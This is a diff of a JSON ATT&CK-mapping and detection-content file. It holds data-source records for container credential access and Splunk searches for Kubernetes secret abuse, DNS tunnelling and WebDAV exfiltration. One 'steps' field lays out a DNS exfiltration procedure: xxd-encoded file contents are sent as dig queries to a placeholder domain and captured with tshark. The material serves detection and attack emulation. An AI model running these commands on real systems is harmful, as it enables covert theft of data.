@@ "data_component": "user account authentication", "type": "activity", "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate to", - "target_data_element": "cloud service", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1552.007", - "x_mitre_is_subtechnique": true, - "technique": "Container API", - "tactic": [ - "credential-access" - ], - "platform": [ - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate from", - "target_data_element": "ip", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1552.007", - "x_mitre_is_subtechnique": true, - "technique": "Container API", - "tactic": [ - "credential-access" - ], - "platform": [ - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate from", - "target_data_element": "port", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1552.007", - "x_mitre_is_subtechnique": true, - "technique": "Container API", - "tactic": [ - "credential-access" - ], - "platform": [ - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "application", - "relationship": "attempted to authenticate", - "target_data_element": "user", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1552.007", - "x_mitre_is_subtechnique": true, - "technique": "Container API", - "tactic": [ - "credential-access" - ], - "platform": [ - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "cloud service", - "relationship": "attempted to authenticate", - "target_data_element": "user", + "source_data_element": "user", + "relationship": "attempted to authenticate to", + "target_data_element": "cloud service", "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] }, { - "name": "Kubernetes Abuse of Secret by Unusual Location", - "description": "The following analytic detects unauthorized access or misuse of Kubernetes Secrets from unusual locations. It leverages Kubernetes Audit logs to identify anomalies in access patterns by analyzing the source of requests by country. This activity is significant for a SOC as Kubernetes Secrets store sensitive information like passwords, OAuth tokens, and SSH keys, making them critical assets. If confirmed malicious, this behavior could indicate an attacker attempting to exfiltrate or misuse these secrets, potentially leading to unauthorized access to sensitive systems or data.", - "search": "`kube_audit` objectRef.resource=secrets verb=get | iplocation sourceIPs{} | fillnull | search NOT `kube_allowed_locations` | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb City Country | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_abuse_of_secret_by_unusual_location_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Access of Kubernetes secret $objectRef.name$ from unusual location $Country$ by $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.007", - "mitre_attack_technique": "Container API", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1552.007", + "x_mitre_is_subtechnique": true, + "technique": "Container API", + "tactic": [ + "credential-access" + ], + "platform": [ + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate from", + "target_data_element": "ip", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Kubernetes Abuse of Secret by Unusual User Agent", - "description": "The following analytic detects unauthorized access or misuse of Kubernetes Secrets by unusual user agents. It leverages Kubernetes Audit logs to identify anomalies in access patterns by analyzing the source of requests based on user agents. This activity is significant for a SOC because Kubernetes Secrets store sensitive information like passwords, OAuth tokens, and SSH keys, making them critical assets. If confirmed malicious, this activity could lead to unauthorized access to sensitive systems or data, potentially resulting in significant security breaches and exfiltration of critical information.", - "search": "`kube_audit` objectRef.resource=secrets verb=get | search NOT `kube_allowed_user_agents` | fillnull | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_abuse_of_secret_by_unusual_user_agent_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Access of Kubernetes secret $objectRef.name$ from unusual user agent $userAgent$ by $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.007", - "mitre_attack_technique": "Container API", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1552.007", + "x_mitre_is_subtechnique": true, + "technique": "Container API", + "tactic": [ + "credential-access" + ], + "platform": [ + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "user", + "relationship": "attempted to authenticate from", + "target_data_element": "port", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Kubernetes Abuse of Secret by Unusual User Group", - "description": "The following analytic detects unauthorized access or misuse of Kubernetes Secrets by unusual user groups. It leverages Kubernetes Audit logs to identify anomalies in access patterns by analyzing the source of requests and user groups. This activity is significant for a SOC as Kubernetes Secrets store sensitive information like passwords, OAuth tokens, and SSH keys. If confirmed malicious, this behavior could indicate an attacker attempting to exfiltrate or misuse these secrets, potentially leading to unauthorized access to sensitive systems or data.", - "search": "`kube_audit` objectRef.resource=secrets verb=get | search NOT `kube_allowed_user_groups` | fillnull | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_abuse_of_secret_by_unusual_user_group_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Access of Kubernetes secret $objectRef.name$ from unusual user group $user.groups{}$ by user name $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.007", - "mitre_attack_technique": "Container API", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1552.007", + "x_mitre_is_subtechnique": true, + "technique": "Container API", + "tactic": [ + "credential-access" + ], + "platform": [ + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "application", + "relationship": "attempted to authenticate", + "target_data_element": "user", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] }, { - "name": "Kubernetes Abuse of Secret by Unusual User Name", - "description": "The following analytic detects unauthorized access or misuse of Kubernetes Secrets by unusual user names. It leverages Kubernetes Audit logs to identify anomalies in access patterns by analyzing the source of requests based on user names. This activity is significant for a SOC as Kubernetes Secrets store sensitive information like passwords, OAuth tokens, and SSH keys, making them critical assets. If confirmed malicious, this activity could lead to unauthorized access to sensitive systems or data, potentially resulting in significant security breaches and exfiltration of sensitive information.", - "search": "`kube_audit` objectRef.resource=secrets verb=get | search NOT `kube_allowed_user_names` | fillnull | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_abuse_of_secret_by_unusual_user_name_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Access of Kubernetes secret $objectRef.name$ from unusual user name $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.007", - "mitre_attack_technique": "Container API", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1552.007", + "x_mitre_is_subtechnique": true, + "technique": "Container API", + "tactic": [ + "credential-access" + ], + "platform": [ + "Containers" + ], + "data_source": "user account", + "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", + "collection_layers": [ + "host", + "cloud", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Containers", + "Google Workspace" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "user account authentication", + "type": "activity", + "description": "A user account authenticated onto a system.", + "source_data_element": "cloud service", + "relationship": "attempted to authenticate", + "target_data_element": "user", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" + ] } ], "external_reference": [ @@ -721131,7 +488925,7 @@ "linux" ], "executor": { - "steps": "1. On the adversary machine run the below command.\n\n tshark -f \"udp port 53\" -Y \"dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches \".domain\"\" >> received_data.txt\n\n2. On the victim machine run the below commands.\n\n xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done\n \n3. Once the data is received, use the below command to recover the data.\n\n cat output_file | cut -d \"A\" -f 2 | cut -d \" \" -f 2 | cut -d \".\" -f 1 | sort | uniq | xxd -p -r\n", + "steps": "1. On the adversary machine run the below command.\n\n tshark -f \"udp port 53\" -Y \"dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches \\\\\".domain\\\\\"\" >> received_data.txt\n\n2. On the victim machine run the below commands.\n\n xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done\n\n3. Once the data is received, use the below command to recover the data.\n\n cat output_file | cut -d \"A\" -f 2 | cut -d \" \" -f 2 | cut -d \".\" -f 1 | sort | uniq | xxd -p -r\n", "name": "manual" } }, @@ -723439,48 +491233,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1048.003", - "x_mitre_is_subtechnique": true, - "technique": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", - "tactic": [ - "exfiltration" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -723489,703 +491242,45 @@ ] }, { - "name": "Gsuite Outbound Email With Attachment To External Domain", - "description": "The following analytic detects outbound emails with attachments sent from an internal email domain to an external domain. It leverages Gsuite Gmail logs, parsing the source and destination email domains, and flags emails with fewer than 20 outbound instances. This activity is significant as it may indicate potential data exfiltration or insider threats. If confirmed malicious, an attacker could use this method to exfiltrate sensitive information, leading to data breaches and compliance violations.", - "search": "`gsuite_gmail` num_message_attachments > 0 | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where source_domain=\"internal_test_email.com\" and not dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats values(subject) as subject, values(source.from_header_address) as src_domain_list, count as numEvents, dc(source.from_header_address) as numSrcAddresses, min(_time) as firstTime max(_time) as lastTime by dest_domain phase severity | where numSrcAddresses < 20 |sort - numSrcAddresses | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_outbound_email_with_attachment_to_external_domain_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops", - "Insider Threat" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_domain_list", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_domain", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $src_domain_list$ to $dest_domain$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Clients Connecting to Multiple DNS Servers", - "description": "This search allows you to identify the endpoints that have connected to more than five DNS servers and made DNS Queries over the time frame of the search.", - "search": "| tstats `security_content_summariesonly` count, values(DNS.dest) AS dest dc(DNS.dest) as dest_count from datamodel=Network_Resolution where DNS.message_type=QUERY by DNS.src | `drop_dm_object_name(\"Network_Resolution\")` |where dest_count > 5 | `clients_connecting_to_multiple_dns_servers_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Host Redirection", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Long DNS TXT Record Response", - "description": "This search is used to detect attempts to use DNS tunneling, by calculating the length of responses to DNS TXT queries. Endpoints using DNS as a method of transmission for data exfiltration, Command And Control, or evasion of security controls can often be detected by noting unusually large volumes of DNS traffic. Deprecated because this detection should focus on DNS queries instead of DNS responses.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.message_type=response AND DNS.record_type=TXT by DNS.src DNS.dest DNS.answer DNS.record_type | `drop_dm_object_name(\"DNS\")` | eval anslen=len(answer) | search anslen>100 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename src as \"Source IP\", dest as \"Destination IP\", answer as \"DNS Answer\" anslen as \"Answer Length\" record_type as \"DNS Record Type\" firstTime as \"First Time\" lastTime as \"Last Time\" count as Count | table \"Source IP\" \"Destination IP\" \"DNS Answer\" \"DNS Record Type\" \"Answer Length\" Count \"First Time\" \"Last Time\" | `detect_long_dns_txt_record_response_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detection of DNS Tunnels", - "description": "This search is used to detect DNS tunneling, by calculating the sum of the length of DNS queries and DNS answers. The search also filters out potential false positives by filtering out queries made to internal systems and the queries originating from internal DNS, Web, and Email servers. Endpoints using DNS as a method of transmission for data exfiltration, Command And Control, or evasion of security controls can often be detected by noting an unusually large volume of DNS traffic.\nNOTE:Deprecated because existing detection is doing the same. This detection is replaced with two other variations, if you are using MLTK then you can use this search `ESCU - DNS Query Length Outliers - MLTK - Rule` or use the standard deviation version `ESCU - DNS Query Length With High Standard Deviation - Rule`, as an alternantive.", - "search": "| tstats `security_content_summariesonly` dc(\"DNS.query\") as count from datamodel=Network_Resolution where nodename=DNS \"DNS.message_type\"=\"QUERY\" NOT (`cim_corporate_web_domain_search(\"DNS.query\")`) NOT \"DNS.query\"=\"*.in-addr.arpa\" NOT (\"DNS.src_category\"=\"svc_infra_dns\" OR \"DNS.src_category\"=\"svc_infra_webproxy\" OR \"DNS.src_category\"=\"svc_infra_email*\" ) by \"DNS.src\",\"DNS.query\" | rename \"DNS.src\" as src \"DNS.query\" as message | eval length=len(message) | stats sum(length) as length by src | append [ tstats `security_content_summariesonly` dc(\"DNS.answer\") as count from datamodel=Network_Resolution where nodename=DNS \"DNS.message_type\"=\"QUERY\" NOT (`cim_corporate_web_domain_search(\"DNS.query\")`) NOT \"DNS.query\"=\"*.in-addr.arpa\" NOT (\"DNS.src_category\"=\"svc_infra_dns\" OR \"DNS.src_category\"=\"svc_infra_webproxy\" OR \"DNS.src_category\"=\"svc_infra_email*\" ) by \"DNS.src\",\"DNS.answer\" | rename \"DNS.src\" as src \"DNS.answer\" as message | eval message=if(message==\"unknown\",\"\", message) | eval length=len(message) | stats sum(length) as length by src ] | stats sum(length) as length by src | where length > 10000 | `detection_of_dns_tunnels_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Protection", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Rundll32 WebDAV Request", - "description": "The following analytic identifies the execution of rundll32.exe with command-line arguments loading davclnt.dll and the davsetcookie function to access a remote WebDAV instance. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt to exploit CVE-2023-23397, a known vulnerability. If confirmed malicious, this could allow an attacker to execute remote code or exfiltrate data, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rundll32.exe Processes.process IN (\"*\\\\windows\\\\system32\\\\davclnt.dll,*davsetcookie*\",\"*\\\\windows\\\\syswow64\\\\davclnt.dll,*davsetcookie*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rundll32_webdav_request_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-23397 Outlook Elevation of Privilege" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to contact a remote WebDav server.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Rundll32 WebDav With Network Connection", - "description": "The following analytic detects the execution of rundll32.exe with command-line arguments loading davclnt.dll and the davsetcookie function to access a remote WebDav instance. It uses data from Endpoint Detection and Response (EDR) agents, correlating process execution and network traffic data. This activity is significant as it may indicate exploitation of CVE-2023-23397, a known vulnerability. If confirmed malicious, this could allow an attacker to establish unauthorized remote connections, potentially leading to data exfiltration or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.parent_process_name=svchost.exe `process_rundll32` Processes.process IN (\"*\\\\windows\\\\system32\\\\davclnt.dll,*davsetcookie*\", \"*\\\\windows\\\\syswow64\\\\davclnt.dll,*davsetcookie*\") by host _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename dest as src | join host process_id [ | tstats `security_content_summariesonly` count latest(All_Traffic.dest) as dest latest(All_Traffic.dest_ip) as dest_ip latest(All_Traffic.dest_port) as dest_port FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port!=0 NOT (All_Traffic.dest_ip IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)) by host All_Traffic.process_id | `drop_dm_object_name(All_Traffic)`] | `windows_rundll32_webdav_with_network_connection_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-23397 Outlook Elevation of Privilege" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to contact a remote WebDav server.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect DNS Data Exfiltration using pretrained model in DSDL", - "description": "The following analytic identifies potential DNS data exfiltration using a pre-trained deep learning model. It leverages DNS request data from the Network Resolution datamodel and computes features from past events between the same source and domain. The model generates a probability score (pred_is_exfiltration_proba) indicating the likelihood of data exfiltration. This activity is significant as DNS tunneling can be used by attackers to covertly exfiltrate sensitive data. If confirmed malicious, this could lead to unauthorized data access and potential data breaches, compromising the organization's security posture.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution by DNS.src _time DNS.query | `drop_dm_object_name(\"DNS\")` | sort - _time,src, query | streamstats count as rank by src query | where rank < 10 | table src,query,rank,_time | apply detect_dns_data_exfiltration_using_pretrained_model_in_dsdl | table src,_time,query,rank,pred_is_dns_data_exfiltration_proba,pred_is_dns_data_exfiltration | where rank == 1 | rename pred_is_dns_data_exfiltration_proba as is_exfiltration_score | rename pred_is_dns_data_exfiltration as is_exfiltration | where is_exfiltration_score > 0.5 | `security_content_ctime(_time)` | table src, _time,query,is_exfiltration_score,is_exfiltration | `detect_dns_data_exfiltration_using_pretrained_model_in_dsdl_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "query", - "type": "Other", - "role": [ - "Attacker" - ] - }, - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A DNS data exfiltration request was sent by this host $src$ , kindly review.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "DNS Query Length With High Standard Deviation", - "description": "The following analytic identifies DNS queries with unusually large lengths by computing the standard deviation of query lengths and filtering those exceeding twice the standard deviation. It leverages DNS query data from the Network_Resolution data model, focusing on the length of the domain names being resolved. This activity is significant as unusually long DNS queries can indicate data exfiltration or command-and-control 